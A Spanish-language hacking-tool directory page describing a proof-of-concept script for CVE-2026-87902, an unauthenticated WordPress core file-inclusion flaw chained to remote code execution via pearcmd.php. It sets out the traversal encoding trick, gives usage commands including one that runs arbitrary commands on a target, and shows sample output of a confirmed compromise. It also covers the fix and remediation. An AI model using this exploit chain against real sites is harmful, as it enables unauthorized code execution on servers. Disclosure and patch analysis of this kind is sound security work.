Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-87902-PoC-pwnVader — Shell PoC para CVE-2026-87902, un LFI no autenticado en el núcleo de WordPress mediante la resolución de page-template que encadena a RCE a través de pearcmd.php. | Kitploit
Herramientas/GitHubGitHub/pwnvader/cve-2026-87902-poc-pwnvader
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebVirtualización de SeguridadSeguridad WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubpwnvader/cve-2026-87902-poc-pwnvader

CVE-2026-87902-PoC-pwnVader

Shell PoC para CVE-2026-87902, un LFI no autenticado en el núcleo de WordPress mediante la resolución de page-template que encadena a RCE a través de pearcmd.php.

Ver Repositorio
2hace 4 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-87902 — Inclusión local de archivos no autenticada en la resolución de plantillas de página del núcleo de WordPress → RCE

Autor: pwnVader · Licencia: MIT (raíz del repositorio)

ComponenteNúcleo de WordPress (wp-includes/template.php)
TipoCWE-98 — Inclusión de archivos PHP (LFI → RCE)
AfectadosWordPress < 7.1.2 (rama 7.0 corregida en 7.0.6; las retroportaciones a 6.x dependen de la rama)
Corregido7.1.2 / 7.0.6
CVECVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
PoCpoc.sh

Resumen

get_page_template() añade page-{urldecode(pagename)}.php a la jerarquía de plantillas de página cuando la variable de consulta pagename contiene caracteres codificados en porcentaje, y locate_template() resuelve el candidato con file_exists() / require sin validar que la ruta permanezca dentro del tema activo. Un atacante no autenticado puede, por tanto, incluir y ejecutar un archivo .php local legible elegido fuera del tema activo.

Precondiciones:

  1. WordPress < 7.1.2.
  2. El tema activo contiene un directorio de nivel superior que comienza por page- (por ejemplo, el Twenty Fourteen oficial incluye page-templates/). El nombre de la plantilla siempre lleva el prefijo page-, por lo que el primer componente de la ruta debe existir.
  3. Un ID de página pública válido para que la consulta principal sea una página (no un 404). El script descubre uno a partir del sitemap del núcleo, la clase del body de la página de inicio, o una pequeña sonda de IDs.

El payload está doblemente codificado para que sanitize_title_for_query() preserve los octetos %2e/%2f; urldecode() dentro de get_page_template() reconstruye entonces ../ en el momento de resolución de la plantilla.

Si el servidor también tiene un pearcmd.php accesible y register_argc_argv = On (el valor predeterminado en la imagen oficial de PHP), la cadena escala a ejecución remota de código: la cadena de consulta se convierte en argv de CLI mediante separadores +, pear config-create escribe un archivo .php controlado por el atacante, y el mismo LFI lo incluye.

Uso

root@kitploit:~
# Interactive menu (recommended for a quick start)
./poc.sh

# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com

# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized

# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"

Opciones: --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (o VDP_AUTHORIZED=1) es obligatorio para cualquier modo que pueda escribir cuando el objetivo no sea localhost.

Salida de ejemplo (check)

root@kitploit:~
== CVE-2026-87902 PoC (check) ==
target: https://example.com

[1] Discovering a public page ID
  [info] page_id: 17
  [info] baseline: POST /?page_id=17 -> 52377 bytes

[2] Testing the LFI (read-only include of wp-includes/version.php)
  [PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
  [info] theme directory: page-templates/   traversal depth to webroot: 4
  [info] second file confirmed: wp-admin/install.php executed (static string returned)

== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==

Salida de ejemplo (check-rce / rce)

root@kitploit:~
[3] Testing the LFI-to-RCE chain (self-deleting payload)
  [PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
  [PASS] RCE CONFIRMED: command output returned (uid/gid present)
  [info] payload self-deleted (cleanup verified)

[4] Executing command: id;hostname;whoami
  > uid=33(www-data) gid=33(www-data) groups=33(www-data)
  > 4119cb19757f
  > www-data

Si se confirma el LFI pero PEAR está ausente (o register_argc_argv está Off), el script informa de la precondición con claridad y sale sin escribir nada (exit 3).

Lógica de detección

  1. Encontrar un ID de página pública (sitemap → clase del body de la página de inicio → sonda numérica).
  2. Para cada directorio de tema page-* candidato y profundidad de traversal, solicitar page-<dir>/../../…/wp-includes/version.php a través del parámetro pagename (POST, cuerpo vacío — necesario porque WordPress redirige canónicamente GET/HEAD primero).
  3. Una respuesta 200 con un cuerpo de 0 bytes (frente a la línea base de la página de varios KB) demuestra la inclusión.
  4. Comprobación de RCE: intentar pear config-create a través del LFI con un payload autodestructivo, y luego incluir el archivo escrito con un comando proporcionado en la solicitud.

Causa raíz / corrección

Corrección del proveedor en 7.1.2 (wp-includes/template.php):

root@kitploit:~
-        if ( $pagename_decoded !== $pagename ) {
+        if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {

más una comprobación de contención con realpath() en locate_template() (_wp_is_template_path_allowed()). wordpress-7.0.6 contiene la corrección idéntica byte a byte.

Remediación

  • Actualizar el núcleo de WordPress a 7.1.2 (o 7.0.6 para la rama 7.0).
  • Medida provisional: rechazar valores de pagename que contengan secuencias de traversal (.., %2e%2e, %252e%252e) en todos los métodos HTTP, o eliminar la precondición del directorio de tema page-*.

Referencias

  • NVD — CVE-2026-87902: https://nvd.nist.gov/vuln/detail/CVE-2026-87902
  • Aviso del proveedor: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Versiones corregidas: https://wordpress.org/wordpress-7.1.2.tar.gz · https://wordpress.org/wordpress-7.0.6.tar.gz

Descargo de responsabilidad

Solo para pruebas de seguridad autorizadas. Los modos RCE utilizan un payload autodestructivo y nunca escriben nada más allá de su propio archivo marcador temporal, pero aun así ejecutan comandos en el objetivo — ejecútalos solo donde tengas permiso explícito.

Descargar herramienta